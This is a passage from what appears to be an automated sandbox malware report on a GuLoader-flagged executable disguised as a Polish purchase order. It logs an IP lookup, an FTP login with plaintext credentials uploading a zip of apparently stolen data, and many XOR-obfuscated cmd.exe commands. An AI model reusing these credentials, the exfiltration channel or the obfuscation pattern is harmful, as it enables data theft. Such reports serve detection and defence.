                                                                                            2023-01-25 09:05:53 UTC133INData Raw: 50 5a b3 ab ef 2d dd 3b 1d 06 47 14 e9 42 16 40 73 ff 83 fb 5b f2 b0 80 e2 b0 35 53 57 fd 0c bf 64 c5 01 08 ec de c9 b2 c3 d2 5f ec 87 4e 18 93 e3 8a f6 df 93 27 0c 35 0e 17 e6 66 f8 b5 41 3a 19 c9 91 18 56 93 cd 0f c4 da ef c5 eb 54 21 65 89 43 fb fd 22 a1 ce 3d 28 36 09 31 72 15 af 59 f0 ec de e2 f3 9d 2f 66 d2 53 74 9e 1f c2 f4 32 1a 89 5b 2d b9 e2 90 fa 69 79 74 9d 1e 77 6c 7d 1a c4 36 22 71 ed aa 2d 1c 63 0e bc 18 92 1c be 07 8f fc 6c a2 78 8c 10 36 b4 cc db 18 1f a9 11 e8 f2 c6 e5 66 6d 6a f1 37 ea 1a 7f 57 81 88 6a 51 1d 72 1c de bb 06 68 86 d3 24 91 a5 66 d9 80 ff b0 09 15 30 e6 6c 8e f7 8a ef ad 8f 34 3d 31 0e 90 c1 7b 72 5c 63 46 72 3c ee 89 40 47 5e 20 9d 1f de a1 ee 10 11 e3 06 50 1c b1 1b 19 0a b4 26 5b 61 8c b4 29 76 be 0e a4 62 a7 86 49 9c
                                                                                            Data Ascii: PZ-;GB@s[5SWd_N'5fA:VT!eC"=(61rY/fSt2[-iytwl}6"q-clx6fmj7WjQrh$f0l4=1{r\cFr<@G^ P&[a)vbI
                                                                                            2023-01-25 09:05:53 UTC140INData Raw: ed 0b c9 fd a6 4a 50 40 d4 28 f3 24 d3 c2 60 0b dc 32 c3 05 b5 1b 19 55 03 03 f3 a6 d1 55 e6 67 33 c7 38 69 f4 f0 43 f9 23 68 af 82 75 10 40 59 73 56 14 6f 65 7c ff 94 c7 b1 30 e9 d9 33 cb 9d 63 52 ea ef ab 10 fb 7c fa 8a 9a dd 4a ec e9 cc b9 38 01 53 8f 05 b6 67 52 fa 0e 23 cb 31 46 d4 f6 72 ba 85 78 12 09 65 bb 76 93 9d 44 0b 2c 3d 07 fb 86 f8 0c a7 2e 91 40 9c 7c 58 2a 5d 0e cd 46 ef 6e 7b d4 bf 06 20 74 ee 47 df b0 ce 24 34 89 81 18 f3 45 db 71 fe c5 25 0b f6 8a 2a 5f 50 6c 87 67 1b f6 f9 91 26 f9 51 14 ba cc 0e e8 31 20 5d f0 0d 67 2f 37 19 6f 27 36 9d dd 65 a4 f9 98 00 fd 4a bf 02 49 07 ee 7a c4 2e 58 91 d4 38 1e 9c 80 12 8e ab 04 2e 9c 4e c6 6a 96 62 97 21 d6 18 f3 5a f6 13 eb d1 4d e5 0b d5 32 fc f9 9d 24 24 10 36 30 57 48 b6 3b 05 43 dd 43 66 b7
                                                                                            Data Ascii: JP@($`2UUg38iC#hu@YsVoe|03cR|J8SgR#1FrxevD,=.@|X*]Fn{ tG$4Eq%*_Plg&Q1 ]g/7o'6eJIz.X8.Njb!ZM2$$60WH;CCf
                                                                                            2023-01-25 09:05:53 UTC148INData Raw: b9 3d 1f 44 48 7d d5 33 18 81 78 c3 2c a1 be 24 31 99 86 ea 9a 78 04 3d d9 35 1b b4 34 1d 85 05 a6 72 a3 ee 8e 02 10 13 4d 26 8a 15 a5 6e a4 71 00 71 1f cb c7 4f 2c f1 66 4d bb a2 3b d9 0d ef 4c 3d 35 65 a6 80 6f eb 42 53 48 8e 7f 81 4c ee 79 06 d6 8b 22 71 1b d5 a2 34 19 da 9a b3 9c 7d 35 37 ef e4 60 77 32 2a 3f 8a 03 dd 1e 76 f9 36 f0 c2 9f 45 5e 48 d2 6b 2e 74 e7 11 77 43 16 9c f7 a8 b4 84 85 f4 ad fe 54 37 2e 92 54 d2 08 8b 88 65 45 da 55 d7 b9 8d 2e ed ee 2d 77 f7 00 82 13 b8 f0 7d 40 5c 59 3d 88 02 91 d4 c9 6e f5 a2 ff 72 3c f6 41 29 b7 8e 8a bd 1e 01 d8 0e 43 25 91 98 d6 87 af 48 44 42 ce 43 95 72 c3 1d 8c 83 4b da 9e fc 48 03 53 00 fb f4 76 8a 9f 41 58 9b 3c 48 b9 a3 72 86 69 00 30 fa 75 77 66 61 77 b4 57 50 f2 a1 1e 4a 8f 02 6e db 2c e1 5f cc 62
                                                                                            Data Ascii: =DH}3x,$1x=54rM&nqqO,fM;L=5eoBSHLy"q4}57`w2*?v6E^Hk.twCT7.TeEU.-w}@\Y=nr<A)C%HDBCrKHSvAX<Hri0uwfawWPJn,_b
                                                                                            2023-01-25 09:05:53 UTC156INData Raw: e5 fe d0 aa ec ed 60 e4 39 c6 fc 3a e3 ae 42 48 05 f0 8d e6 8b 52 d9 71 16 87 4e 8f 7d e3 be 75 af 72 d7 6a f4 93 4c 5d 02 56 04 79 49 81 e8 1c e0 89 2b fb cc ce 45 c2 cd bc 23 31 17 a3 b3 9f f8 7e a0 48 a9 e8 c1 f0 fb e5 fb a0 1f 02 76 b8 55 77 d5 57 7c a5 4c c2 17 c9 1a e7 76 69 42 2e 52 ab 64 c6 12 a3 10 06 10 fa 72 9a 04 5f 91 23 4c fc c9 52 bc 40 91 a8 e5 33 15 c6 e5 19 02 f5 30 25 e0 1a e9 49 aa 08 7d ba f7 4b 22 6d a6 db 45 76 93 f5 d6 f8 61 71 78 80 95 0e 00 c1 b8 59 e2 64 82 f1 a3 81 3f ba a2 e7 25 29 7b 91 0c 4c 11 e6 50 92 9e 7b fa 83 fa d5 f8 9b 9c c8 b1 32 5b 48 b2 0c a7 60 c5 e6 09 2d de 12 b3 cc d8 7f a3 86 40 10 95 62 86 7a d3 8a 2a 04 35 3f 6a 66 8f f6 b3 a0 38 93 d9 dd 15 5d 93 43 62 ca d4 eb e5 6b 56 b8 6a 27 43 e7 bc cb d4 cc 25 20 3e
                                                                                            Data Ascii: `9:BHRqN}urjL]VyI+E#1~HvUwW|LviB.Rdr_#LR@30%I}K"mEvaqxYd?%){LP{2[H`-@bz*5?jf8]CbkVj'C% >
                                                                                            2023-01-25 09:05:53 UTC164INData Raw: 0e ef be ef a7 8e 76 55 f6 d9 4f c8 9d de cd be 64 83 60 8a d5 77 14 ad 99 2c 20 d2 e7 55 f4 ba 72 03 5e 6a 09 71 99 e8 26 87 30 11 cd 7f eb 29 07 7f a3 3c 41 3c 6a 3d ec df bd b4 e8 6d eb 2b 43 28 2a ef b0 4b cd fd f5 89 ef 0e ae dc 6f 09 03 6e 8a 7a e3 bc cc a7 54 c5 fa 7c 56 5b cc 3d 48 80 ba 44 05 d8 19 e7 8a 29 2e c4 e8 51 52 55 79 2d 38 8d 91 21 5d ef 77 85 54 a4 f2 43 3f f7 e2 af e8 18 0c 6d be 4d 7f d4 57 70 85 4c c2 17 cd b3 e6 76 4d 27 4a 76 d7 03 f1 62 fe 39 63 32 1f 8e b5 36 74 a5 35 60 9c fe 64 dd 6d b8 4b 6d 03 04 f7 d3 39 b6 4d 06 32 e1 1b fa 4d ad 0a 7f f2 fd 5b 75 1d c6 b7 1b 1b f9 b0 af 9a 18 06 2c eb fb 7c 46 29 2b 39 92 1e 91 7d 13 9c 31 82 85 df 03 0b 14 af 04 4a 11 e7 42 12 80 71 ff 83 fb dd ea e2 98 c8 b0 25 fc 49 92 0c 9f 64 c5 e7
                                                                                            Data Ascii: vUOd`w, Ur^jq&0)<A<j=m+C(*KonzT|V[=HD).QRUy-8!]wTC?mMWpLvM'Jvb9c26t5`dmKm9M2M[u,|F)+9}1JBq%Id


                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                            1192.168.11.204985564.185.227.155443C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                            TimestampkBytes transferredDirectionData
                                                                                            2023-01-25 09:05:56 UTC166OUTGET / HTTP/1.1
                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
                                                                                            Host: api.ipify.org
                                                                                            Connection: Keep-Alive
                                                                                            2023-01-25 09:05:56 UTC167INHTTP/1.1 200 OK
                                                                                            Access-Control-Allow-Credentials: true
                                                                                            Access-Control-Allow-Origin: *
                                                                                            Content-Length: 13
                                                                                            Content-Type: text/plain
                                                                                            Date: Wed, 25 Jan 2023 09:05:56 GMT
                                                                                            Vary: Origin
                                                                                            Connection: close
                                                                                            2023-01-25 09:05:56 UTC167INData Raw: 31 30 32 2e 31 32 39 2e 31 34 33 2e 39
                                                                                            Data Ascii: 102.129.143.9


                                                                                            FTP Packets

                                                                                            TimestampSource PortDest PortSource IPDest IPCommands
                                                                                            Jan 25, 2023 10:06:00.092856884 CET2149856192.185.87.146192.168.11.20220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
                                                                                            220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.
                                                                                            220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 03:06. Server port: 21.
                                                                                            220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 03:06. Server port: 21.220-IPv6 connections are also welcome on this server.
                                                                                            220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 03:06. Server port: 21.220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
                                                                                            Jan 25, 2023 10:06:00.095689058 CET4985621192.168.11.20192.185.87.146USER senti@sentientshift.com
                                                                                            Jan 25, 2023 10:06:00.209908962 CET2149856192.185.87.146192.168.11.20331 User senti@sentientshift.com OK. Password required
                                                                                            Jan 25, 2023 10:06:00.210305929 CET4985621192.168.11.20192.185.87.146PASS @sentientshift.com
                                                                                            Jan 25, 2023 10:06:02.374598980 CET2149856192.185.87.146192.168.11.20230 OK. Current restricted directory is /
                                                                                            Jan 25, 2023 10:06:02.489878893 CET2149856192.185.87.146192.168.11.20504 Unknown command
                                                                                            Jan 25, 2023 10:06:02.490302086 CET4985621192.168.11.20192.185.87.146PWD
                                                                                            Jan 25, 2023 10:06:02.605287075 CET2149856192.185.87.146192.168.11.20257 "/" is your current location
                                                                                            Jan 25, 2023 10:06:02.605855942 CET4985621192.168.11.20192.185.87.146TYPE I
                                                                                            Jan 25, 2023 10:06:02.720877886 CET2149856192.185.87.146192.168.11.20200 TYPE is now 8-bit binary
                                                                                            Jan 25, 2023 10:06:02.721354008 CET4985621192.168.11.20192.185.87.146PASV
                                                                                            Jan 25, 2023 10:06:02.836556911 CET2149856192.185.87.146192.168.11.20227 Entering Passive Mode (192,185,87,146,155,26)
                                                                                            Jan 25, 2023 10:06:02.952943087 CET4985621192.168.11.20192.185.87.146STOR CO_user-305090_2023_01_25_10_05_58.zip
                                                                                            Jan 25, 2023 10:06:03.068484068 CET2149856192.185.87.146192.168.11.20150 Accepted data connection
                                                                                            Jan 25, 2023 10:06:03.300081968 CET2149856192.185.87.146192.168.11.20226-File successfully transferred
                                                                                            226-File successfully transferred226 0.232 seconds (measured here), 103.72 Kbytes per second

                                                                                            Statistics

                                                                                            CPU Usage

                                                                                            Click to jump to process

                                                                                            Memory Usage

                                                                                            Click to jump to process

                                                                                            High Level Behavior Distribution

                                                                                            Click to dive into process behavior distribution

                                                                                            Behavior

                                                                                            Click to jump to process

                                                                                            System Behavior

                                                                                            General

                                                                                            Target ID:1
                                                                                            Start time:10:03:56
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
                                                                                            Imagebase:0x400000
                                                                                            File size:669600 bytes
                                                                                            MD5 hash:17388D36388D280C4E2D724C9AB58002
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Yara matches:
                                                                                            • Rule: JoeSecurity_GuLoader_3, Description: Yara detected GuLoader, Source: 00000001.00000002.14099095140.000000000071D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                            • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.14100531174.00000000058D8000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                            Reputation:low

                                                                                            General

                                                                                            Target ID:3
                                                                                            Start time:10:04:09
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x0E^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high

                                                                                            General

                                                                                            Target ID:4
                                                                                            Start time:10:04:09
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high

                                                                                            General

                                                                                            Target ID:5
                                                                                            Start time:10:04:09
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x19^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high

                                                                                            General

                                                                                            Target ID:6
                                                                                            Start time:10:04:09
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high

                                                                                            General

                                                                                            Target ID:7
                                                                                            Start time:10:04:09
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x05^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high

                                                                                            General

                                                                                            Target ID:8
                                                                                            Start time:10:04:09
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high

                                                                                            General

                                                                                            Target ID:9
                                                                                            Start time:10:04:09
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x0E^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high

                                                                                            General

                                                                                            Target ID:10
                                                                                            Start time:10:04:09
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high

                                                                                            General

                                                                                            Target ID:11
                                                                                            Start time:10:04:10
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x07^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high

                                                                                            General

                                                                                            Target ID:12
                                                                                            Start time:10:04:10
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:13
                                                                                            Start time:10:04:10
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x78^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:14
                                                                                            Start time:10:04:10
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:15
                                                                                            Start time:10:04:10
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x79^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:16
                                                                                            Start time:10:04:10
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:17
                                                                                            Start time:10:04:10
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x71^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:18
                                                                                            Start time:10:04:10
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:19
                                                                                            Start time:10:04:10
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x71^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:20
                                                                                            Start time:10:04:10
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:21
                                                                                            Start time:10:04:10
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x08^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:22
                                                                                            Start time:10:04:10
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:23
                                                                                            Start time:10:04:10
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x39^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:24
                                                                                            Start time:10:04:10
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:25
                                                                                            Start time:10:04:11
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x2E^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:26
                                                                                            Start time:10:04:11
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:27
                                                                                            Start time:10:04:11
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x2A^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:28
                                                                                            Start time:10:04:11
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:29
                                                                                            Start time:10:04:11
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x3F^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:30
                                                                                            Start time:10:04:11
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:31
                                                                                            Start time:10:04:11
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x2E^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:32
                                                                                            Start time:10:04:11
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:33
                                                                                            Start time:10:04:11
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x0D^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:34
                                                                                            Start time:10:04:11
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:35
                                                                                            Start time:10:04:11
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x22^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:36
                                                                                            Start time:10:04:11
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
